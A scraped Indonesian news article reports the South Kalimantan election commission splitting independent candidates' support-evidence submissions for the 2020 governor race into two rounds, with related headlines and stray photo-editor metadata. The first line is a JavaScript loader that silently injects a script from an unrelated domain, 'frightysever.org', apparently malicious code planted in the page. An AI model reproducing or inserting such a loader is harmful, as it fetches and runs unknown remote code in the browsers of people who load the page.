(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
{"total_effects_actions":0,"total_draw_time":0,"layers_used":0,"effects_tried":0,"total_draw_actions":0,"total_editor_actions":{"border":0,"frame":0,"mask":0,"lensflare":0,"clipart":0,"text":0,"square_fit":1,"shape_mask":0,"callout":0},"effects_applied":0,"uid":"15BBD608-1669-44B1-8BA5-FC0121588C50_1577070208560","width":3464,"photos_added":0,"total_effects_time":0,"tools_used":{"tilt_shift":0,"resize":0,"adjust":0,"curves":0,"motion":0,"perspective":0,"clone":0,"crop":0,"enhance":0,"selection":0,"free_crop":0,"flip_rotate":0,"shape_crop":0,"stretch":0},"remix_data":[],"source_sid":"15BBD608-1669-44B1-8BA5-FC0121588C50_1577070208577","origin":"gallery","height":2309,"subsource":"done_button","total_editor_time":9,"brushes_used":0}
BANJARMASIN, Meski belum ada satu pun kandidat bakal calon gubernur dan wakil gubernur Kalsel yang memastikan melirik jalur perseorangan di Pilgub Kalsel 2020 mendatang, KPU Provinsi Kalsel membuka kesempatan calon perseorangan untuk dapat menyerahkan bukti dukungan. Dari yang sebelumnya hanya satu kali saja, menjadi dua kali.
“Di rancangan PKPU Nomor 15, itu penyerahan di tanggal 9 November 2019 hingga 3 Maret 2020. Itu hanya sekali menyerahkan, nah sekarang diubah menjadi dua kali,†kata Ketua KPU Provinsi Kalsel Sarmuji, usai Peluncuran Pemilihan Gubernur dan Wakil Gubernur Kalsel 2020, di Rattan Inn Banjarmasin, Minggu (22/12) malam.
Ditambahkannya, pada penyerahan bukti dukungan pertama dengan jumlah minimal dukungan sebanyak 243.880 dukungan diserahkan dalam rentang waktu antara 16 hingga 20 Februari 2020. Ini merupakan penyerahan dukungan pertama.
“Kami verifikasi faktual, kalau telah memenuhi dukungan sebanyak 243.880 dukungan, maka tidak perlu adanya perbaikan. Namun jika ada kekurangan dukungan, maka akan ada penyerahan di waktu berikutnya,†sebutnya.
Penyerahan bukti dukungan perbaikan sendiri, akan kembali diverifikasi faktual dan direkapitulasi. Jika jumlahnya memenuhi syarat minimal dukungan, maka calon perseorangan dapat ikut maju Pilgub dan mendaftar pada 6 hingga 8 Juni 2020 mendatang.
“Sebetulnya tidak berubah, tetapi dibagi dua. Ada perubahan pertama, dan kedua kekurangannya dua kali lipat dari jumlah kekurangan,†paparnya.
Seperti diketahui, untuk bisa ikut serta pada Pilgub Kalsel 2020 mendatang, dibutuhkan bukti dukungan minimal sebanyak 243.880 dukungan, dengan sebaran minimal di 7 kabupaten dan kota di Kalsel. Ini tertuang dari pedoman tenis dan keputusan dukungan minimal calon perseorangan yang menjadi acuan KPU Provinsi Kalsel dalam penyelenggaraan Pilgub Kalsel 2020 mendatang. (fikri)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.